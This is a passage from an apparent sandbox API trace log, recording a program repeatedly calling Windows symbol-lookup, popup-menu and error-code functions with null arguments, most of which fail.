two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.014] SymCleanup (hProcess=0x0) returned 0 [0141.014] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.014] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.014] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.014] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.014] GetLastError () returned 0x579 [0141.014] SetLastError (dwErrCode=0x579) [0141.014] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.014] SymCleanup (hProcess=0x0) returned 0 [0141.014] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.015] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.015] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.015] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.015] GetLastError () returned 0x579 [0141.015] SetLastError (dwErrCode=0x579) [0141.015] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.015] SymCleanup (hProcess=0x0) returned 0 [0141.015] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.015] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.015] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.015] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=733, param_4=713, param_5=0x0, param_6=0x0) returned 0 [0141.015] GetLastError () returned 0x579 [0141.015] SetLastError (dwErrCode=0x579) [0141.015] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.015] SymCleanup (hProcess=0x0) returned 0 [0141.015] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.015] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.015] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.015] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.015] GetLastError () returned 0x579 [0141.015] SetLastError (dwErrCode=0x579) [0141.015] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.015] SymCleanup (hProcess=0x0) returned 0 [0141.015] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.015] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.015] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.016] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.016] GetLastError () returned 0x579 [0141.016] SetLastError (dwErrCode=0x579) [0141.016] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.016] SymCleanup (hProcess=0x0) returned 0 [0141.016] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.016] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.016] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.016] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.016] GetLastError () returned 0x579 [0141.016] SetLastError (dwErrCode=0x579) [0141.016] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.016] SymCleanup (hProcess=0x0) returned 0 [0141.016] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.016] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.016] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.016] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.016] GetLastError () returned 0x579 [0141.016] SetLastError (dwErrCode=0x579) [0141.016] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.016] SymCleanup (hProcess=0x0) returned 0 [0141.016] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.016] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.016] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.016] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1436, param_4=328, param_5=0x0, param_6=0x0) returned 0 [0141.017] GetLastError () returned 0x579 [0141.017] SetLastError (dwErrCode=0x579) [0141.017] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.017] SymCleanup (hProcess=0x0) returned 0 [0141.017] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.017] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.017] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.017] GetLastError () returned 0x579 [0141.017] SetLastError (dwErrCode=0x579) [0141.017] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.017] SymCleanup (hProcess=0x0) returned 0 [0141.017] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.017] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.017] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.017] GetLastError () returned 0x579 [0141.017] SetLastError (dwErrCode=0x579) [0141.017] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.017] SymCleanup (hProcess=0x0) returned 0 [0141.017] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.017] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.017] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.017] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.017] GetLastError () returned 0x579 [0141.018] SetLastError (dwErrCode=0x579) [0141.018] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.018] SymCleanup (hProcess=0x0) returned 0 [0141.018] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.018] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.018] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.018] GetLastError () returned 0x579 [0141.018] SetLastError (dwErrCode=0x579) [0141.018] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.018] SymCleanup (hProcess=0x0) returned 0 [0141.018] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.018] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.018] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1425, param_4=443, param_5=0x0, param_6=0x0) returned 0 [0141.018] GetLastError () returned 0x579 [0141.018] SetLastError (dwErrCode=0x579) [0141.018] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.018] SymCleanup (hProcess=0x0) returned 0 [0141.018] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.018] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.018] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.018] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.018] GetLastError () returned 0x579 [0141.018] SetLastError (dwErrCode=0x579) [0141.018] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.019] SymCleanup (hProcess=0x0) returned 0 [0141.019] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.019] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.019] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.019] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.019] GetLastError () returned 0x579 [0141.019] SetLastError (dwErrCode=0x579) [0141.019] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.019] SymCleanup (hProcess=0x0) returned 0 [0141.019] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.019] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.019] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.019] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.019] GetLastError () returned 0x579 [0141.019] SetLastError (dwErrCode=0x579) [0141.019] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.019] SymCleanup (hProcess=0x0) returned 0 [0141.019] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.019] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.019] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.019] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.019] GetLastError () returned 0x579 [0141.019] SetLastError (dwErrCode=0x579) [0141.019] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.019] SymCleanup (hProcess=0x0) returned 0 [0141.019] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.020] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.020] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.020] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=972, param_4=784, param_5=0x0, param_6=0x0) returned 0 [0141.020] GetLastError () returned 0x579 [0141.020] SetLastError (dwErrCode=0x579) [0141.020] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.020] SymCleanup (hProcess=0x0) returned 0 [0141.020] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.020] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.020] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.020] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.020] GetLastError () returned 0x579 [0141.020] SetLastError (dwErrCode=0x579) [0141.020] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.020] SymCleanup (hProcess=0x0) returned 0 [0141.020] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.020] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.020] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.020] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.020] GetLastError () returned 0x579 [0141.020] SetLastError (dwErrCode=0x579) [0141.020] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.020] SymCleanup (hProcess=0x0) returned 0 [0141.020] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.020] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.020] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.021] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.021] GetLastError () returned 0x579 [0141.021] SetLastError (dwErrCode=0x579) [0141.021] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.021] SymCleanup (hProcess=0x0) returned 0 [0141.021] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.021] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.021] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.021] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.021] GetLastError () returned 0x579 [0141.021] SetLastError (dwErrCode=0x579) [0141.021] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.021] SymCleanup (hProcess=0x0) returned 0 [0141.021] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.021] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.021] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.021] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=402, param_4=656, param_5=0x0, param_6=0x0) returned 0 [0141.021] GetLastError () returned 0x579 [0141.021] SetLastError (dwErrCode=0x579) [0141.021] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.021] SymCleanup (hProcess=0x0) returned 0 [0141.021] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.021] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.021] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.021] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.022] GetLastError () returned 0x579 [0141.022] SetLastError (dwErrCode=0x579) [0141.022] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.022] SymCleanup (hProcess=0x0) returned 0 [0141.022] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.022] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.022] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.022] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.022] GetLastError () returned 0x579 [0141.022] SetLastError (dwErrCode=0x579) [0141.022] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.022] SymCleanup (hProcess=0x0) returned 0 [0141.022] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.022] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.022] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.022] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.022] GetLastError () returned 0x579 [0141.022] SetLastError (dwErrCode=0x579) [0141.022] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.022] SymCleanup (hProcess=0x0) returned 0 [0141.022] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.022] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.022] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.022] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.022] GetLastError () returned 0x579 [0141.023] SetLastError (dwErrCode=0x579) [0141.023] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.023] SymCleanup (hProcess=0x0) returned 0 [0141.023] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.023] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.023] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.023] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1095, param_4=150, param_5=0x0, param_6=0x0) returned 0 [0141.023] GetLastError () returned 0x579 [0141.023] SetLastError (dwErrCode=0x579) [0141.023] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.023] SymCleanup (hProcess=0x0) returned 0 [0141.023] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.023] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.023] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.023] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.023] GetLastError () returned 0x579 [0141.023] SetLastError (dwErrCode=0x579) [0141.023] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.023] SymCleanup (hProcess=0x0) returned 0 [0141.023] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.023] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.023] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.023] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.023] GetLastError () returned 0x579 [0141.023] SetLastError (dwErrCode=0x579) [0141.023] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.023] SymCleanup (hProcess=0x0) returned 0 [0141.024] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.024] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.024] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.024] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.024] GetLastError () returned 0x579 [0141.024] SetLastError (dwErrCode=0x579) [0141.024] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.024] SymCleanup (hProcess=0x0) returned 0 [0141.024] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.024] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.024] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.024] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.024] GetLastError () returned 0x579 [0141.024] SetLastError (dwErrCode=0x579) [0141.024] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.024] SymCleanup (hProcess=0x0) returned 0 [0141.024] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.024] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.024] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.024] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=715, param_4=773, param_5=0x0, param_6=0x0) returned 0 [0141.024] GetLastError () returned 0x579 [0141.024] SetLastError (dwErrCode=0x579) [0141.024] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.024] SymCleanup (hProcess=0x0) returned 0 [0141.024] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.024] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.025] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.025] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.025] GetLastError () returned 0x579 [0141.025] SetLastError (dwErrCode=0x579) [0141.025] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.025] SymCleanup (hProcess=0x0) returned 0 [0141.025] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.025] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.025] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.025] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.025] GetLastError () returned 0x579 [0141.025] SetLastError (dwErrCode=0x579) [0141.025] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.025] SymCleanup (hProcess=0x0) returned 0 [0141.025] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.025] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.025] GetCursorPos (in: 